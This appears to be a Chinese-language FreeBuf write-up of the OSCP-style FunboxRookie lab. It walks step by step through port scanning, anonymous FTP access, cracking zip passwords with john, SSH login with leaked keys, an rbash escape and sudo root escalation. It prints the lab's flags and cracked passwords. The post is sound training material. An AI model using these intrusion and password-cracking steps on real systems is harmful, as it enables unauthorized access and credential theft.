freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

OSCP系列靶场-Esay-FunboxRookie
2023-08-01 20:22:15
所属地 浙江省

总结

getwebshell →21-FTP泄露敏感文件 →john爆破出密码 → 泄露密钥文件 →ssh密钥登录

提 权 思 路 →rbash利用cp逃逸 → 发现泄露的用户密码 →sudo提权

准备工作

  • 启动VPN
    获取攻击机IP >192.168.45.194

  • 启动靶机
    获取目标机器IP >192.168.227.107

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次

sudo nmap --min-rate 10000 -p- 192.168.227.107


通过两次收集到的端口:→21,22,80,37323

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80 192.168.227.107

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息

通过Nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置

# nmap探测版本为ProFTPD 1.3.5e
cat /etc/proftpd.conf
cat /etc/proftpd/proftpd.conf

21-FTP端口匿名登录测试

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.227.107
Name: anonymous

匿名登陆成功,无需密码

21-FTP端口-文件GET收集

登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET下载文件,利用PUT上传文件

# binary 以二进制模式传输文件,保证文件完整
ftp > binary
# 查看目录结构
ftp > ls -al
# cd 查看存储的文件
ftp > cd [file_date_name]
# get 下载文件
ftp > get [file_name]

里面发现了一堆文件


本来文件少的话会选择用get下载文件

wget -m ftp://192.168.227.107

21-FTP端口-文件PUT测试(无)

# touch一个文件测试上传
touch test.txt
# put 上传文件
ftp > put [file_name]

测试发现无上传功能

文件信息获取

当尝试解压文件发现需要密码

暴力破解-hash密码破解

挨个破解hash密码

anna.zip(失败)
# 利用zip2john将zip转换
zip2john anna.zip  >  anna_password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt anna_password.hash

ariel.zip(失败)
# 利用zip2john将zip转换
zip2john ariel.zip  >  ariel_password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt ariel_password.hash

bud.zip(失败)
zip2john bud.zip  >  bud_password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt bud_password.hash

cathrine.zip
zip2john cathrine.zip  >  cathrine_password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt cathrine_password.hash

爆破出密码catwoman


进行解压发现密钥

homer.zip(失败)
zip2john homer.zip  >  homer_password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt homer_password.hash

tom.zip
zip2john tom.zip  >  homer_password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt homer_password.hash

获得tom的密码iubire


解压发现tom的密钥

其他的zip

非常枯燥无味的过程,其他的zip都没有爆破出密码

welcome.msg

里面有一些信息(待定)

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测出来OpenSSH 7.6p1 Ubuntu 4ubuntu0 .3

# 进入msf
msfconsole
# 搜索对应脚本
msf6 > searchsploit OpenSSH 7.6p1

发现了类似用户枚举的利用(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root<span class="label label-primary">@192.168.227.107</span> -v
# 如果显示publickey、password就是都支持

支持密钥以及密码登录

80-HTTP端口的信息收集

访问http://192.168.227.107:80不过首先利用21端口获得的密钥

漏洞利用-getwebshell

密钥登录

根据21端口获得的两个密钥尝试进行登录

获取密钥之后指定密钥进行登录,用户名选用压缩包的前缀

# cathrine登录失败
ssh -i cathrine_id_rsa cathrine<span class="label label-primary">@192.168.227.107</span> -p22
# tom登录成功
ssh -i tom_id_rsa tom<span class="label label-primary">@192.168.227.107</span> -p22

内网遨游-getshell

FLAG1获取

tom<span class="label label-primary">@funbox2</span>:~$ ls
local.txt
tom<span class="label label-primary">@funbox2</span>:~$ cat local.txt
4de86179dae42ff3cbce887f5f8338e4

Linux用户交互shell受限逃逸

在操作的过程中发现cd命令存在rbash限制


枚举是找到突破方法的重要组成部分。
首先发现很多命令是能用的,但是cd之类的不太能用,尝试枚举可以用的命令

"/"限制

# 检查cd、ls、echo命令
cd /home
# 如果"/"命令可用的话,运行/bin/sh或者/bin/bash
/bin/bash

测试发现cd/不能用

rbash、rksh、rsh逃逸之"cp"可用

# 检查是否可以cp文件
ls -al /bin/cp
# 如果"cp"命令可用的话,将/bin/sh或者/bin/bash复制到当前目录
cp /bin/sh .
# 运行即可逃逸,这个不行试试另一个
sh

发现cp可用之后逃逸成功

内网信息收集

在之前查看tom文件内的内容时,发现了.mysql_history文件,一般的用户下是没有这个文件的,进行查看。

cat .mysql_history

发现了插入tom密码的内容

_HiStOrY_V2_
show40databases;
quit
create40database40'support';
create40database40support;
use40support
create40table40users;
show40tables
;
select40*40from40support
;
show40tables;
select40*40from40support;
insert40into40support40(tom,40xx11yy22!);
quit

权限提升

我们得到了tom的密码为xx11yy22!
通常在什么情况下会用到密码呢?sudo时可能会用到

Linux提权-sudo提权尝试

查找具有sudo权限,且不需要密码的可提权文件

# 利用sudo -l寻找
sudo -l

使用该命令提示需要tom的密码,成功

存在(ALL) NOPASSWD: ALL

# su提权
sudo su

提权成功

FLAG2获取

root<span class="label label-primary">@funbox2</span>:/home/tom# cat /root/proof.txt
8955c0057ac5c17dfabf3a310d6fdb4f

完结撒花~

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 网络安全技术
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录